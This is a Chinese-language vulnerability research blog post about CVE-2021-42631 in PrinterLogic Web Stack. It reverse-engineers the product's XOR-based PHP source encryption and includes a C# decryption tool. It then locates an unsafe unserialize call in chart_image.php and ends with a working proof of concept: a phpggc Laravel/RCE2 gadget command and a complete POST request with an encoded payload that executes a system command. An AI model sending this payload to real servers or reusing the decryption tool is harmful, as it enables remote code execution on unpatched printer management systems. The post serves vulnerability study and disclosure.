CVE-2021-42631 PrinterLogic Web Stack unserialize RCE

警告
本文最后更新于 2022-01-28,文中内容可能已过时。

# 前言

看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个分析一下。

这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其进行解密并分析漏洞。

# 解密源码

打开php文件看到文件是加密的

image.png

找到php的安装路径C:\Program Files (x86)\PHP\7.3.28.0,查看php.ini的配置

image.png

用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处理加密解密的重写。

image.png

跟进到sub_100011D0

image.png

确认解密逻辑位于sub_10001000函数中,伪代码如下

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
int __cdecl sub_10001000(int a1, int a2)
{
  int v2; // edi@1
  int result; // eax@4
  int v4; // eax@8
  unsigned int v5; // edx@8
  int v6; // ebx@8
  char v7; // cl@10
  char v8; // al@10
  unsigned int v9; // ebp@14
  unsigned int v10; // eax@14
  int v11; // ebx@14
  unsigned int v12; // ecx@14
  int v13; // eax@18
  int v14; // edx@21
  int v15; // ebx@21
  int v16; // esi@21
  int v17; // ecx@22
  int v18; // ST04_4@24
  int v19; // eax@24
  int v20; // esi@24
  unsigned int v21; // [sp+4h] [bp-8h]@3
  int v22; // [sp+8h] [bp-4h]@14

  v2 = a1;
  if ( a1
    && *(_DWORD *)(a1 + 44)
    && zend_stream_fixup(a1, &a1, &v21) != -1
    && *(_DWORD *)(v2 + 52) == 4
    && *(_DWORD *)v2
    && *(_DWORD *)(v2 + 20) )
  {
    v4 = v21;
    v5 = 0;
    v6 = v21 >= 0x9F;
    if ( v21 >= 0x9F )
    {
      do
      {
        if ( v5 >= 0x9F )
          break;
        v7 = *(&a_phpHeaderHttp[a1
                              - (_DWORD)"<?php\n"
                                        "header('HTTP/1.1 500 Internal Server Error');\n"
                                        "echo 'PrinterLogic decoder is not installed, please contact customer support for"
                                        " assistance';\n"
                                        "exit();\n"
                                        "?>PL"]
             + v5);
        v8 = a_phpHeaderHttp[v5];
        v6 = v7 == v8;
        ++v5;
      }
      while ( v7 == v8 );
      v4 = v21;
    }
    if ( v6 )
    {
      v9 = v4 - 159;
      v10 = emalloc__4(v4, v5);
      v11 = v10;
      v12 = 0;
      v22 = v10;
      if ( v9 )
      {
        if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) )
        {
          v13 = a1;
          do
          {
            *(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0);
            *(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0);
            *(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0);
            *(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0);
            v12 += 64;
          }
          while ( v12 < (v9 & 0xFFFFFFC0) );
        }
        if ( v12 < v9 )
        {
          v14 = v11 + v12;
          v15 = 159 - v22;
          v16 = v9 - v12;
          do
          {
            v17 = v15 + v14++;
            *(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC;
            --v16;
          }
          while ( v16 );
          v11 = v22;
        }
      }
      memset((void *)(v11 + v9), 0, 0x9Fu);
      v18 = a2;
      a1 = *(_DWORD *)(v2 + 20);
      v21 = *(_DWORD *)(v2 + 8);
      *(_DWORD *)(v2 + 20) = v11;
      *(_DWORD *)(v2 + 8) = v9;
      v19 = dword_10003090(v2, v18);
      *(_DWORD *)(v2 + 20) = a1;
      v20 = v19;
      *(_DWORD *)(v2 + 8) = v21;
      efree__4(v11);
      result = v20;
    }
    else
    {
      result = dword_10003090(v2, a2);
    }
  }
  else
  {
    result = dword_10003090(v2, a2);
  }
  return result;
}

关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc

伪代码中有一个v4 - 159 刚好截取到这个地方

image.png

0x80 ^ 0xBC 试试

1
2
3
4
>>> 0x80 ^ 0xBC
60
>>> chr(60)
'<'

看起来像是php的起始标签<,再试试第二位第三位

image.png

没错了就是仅仅异或了一个0xBC

如此写脚本解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp5
{
    internal class Program
    {

        static List<string> fileList = new List<string>();
        static string encPath = @"";
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.WriteLine("decode.exe encdir outdir");
                return;
            }
            else
            {
                Console.WriteLine($"{args[0]} {args[1]}");
            }
            encPath = args[0];
            ForeachForldersAndFiles(encPath);
            Console.WriteLine($"处理文件总数 {fileList.Count}");
            foreach (var file in fileList)
            {
                Decode(file, args[1]);
            }
            Console.WriteLine("decode done!");
        }
        static void ForeachForldersAndFiles(string path)
        {
            DirectoryInfo di = new DirectoryInfo(path);
            DirectoryInfo[] arrDir = di.GetDirectories();

            foreach (DirectoryInfo dir in arrDir)
            {
                ForeachForldersAndFiles(di + dir.ToString() + "\\");
            }

            foreach (FileInfo fi in di.GetFiles())
            {
                string content = File.ReadAllText(fi.FullName, Encoding.UTF8);
                if (content.Contains("PrinterLogic decoder is not installed"))
                {
                    fileList.Add(fi.FullName);
                    Console.WriteLine($"add {fi.FullName}");
                }
            }
        }
        static void Decode(string infile, string outfile)
        {
            Console.WriteLine("处理 " + infile);
            byte key = 0xBC;
            FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read);
            BinaryReader binaryReader = new BinaryReader(fileStream);

            string outfilepath = infile.Replace(encPath, outfile);

            string directoryName = new FileInfo(outfilepath).DirectoryName;
            if (!Directory.Exists(directoryName))
            {
                Directory.CreateDirectory(directoryName);
            }

            StreamWriter streamWriter = new StreamWriter(outfilepath);
            long length = fileStream.Length;
            while (length > 0)
            {
                byte tmpByte = binaryReader.ReadByte();
                byte resByte = Convert.ToByte(tmpByte ^ key);
                char res = Convert.ToChar(resByte);
                streamWriter.Write(res);
                length--;
            }
            streamWriter.Close();
            Console.WriteLine("done " + infile);
        }
    }
}

解密之后再来审计

# 审计

admin\design\reports\chart_image.php 文件中直接用了经典的base64反序列化

1
$dataset = unserialize(base64_decode(requeststr("dataset")));

# poc

1
./phpggc -b -u -f Laravel/RCE2 system 'calc.exe'
1
2
3
4
POST /admin/design/reports/chart_image.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNUNQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUzQTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJTIyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMkElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE

# 参考

  1. https://www.yahooinc.com/paranoids/paranoids-vulnerability-research-printerlogic-issues-security-alert/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。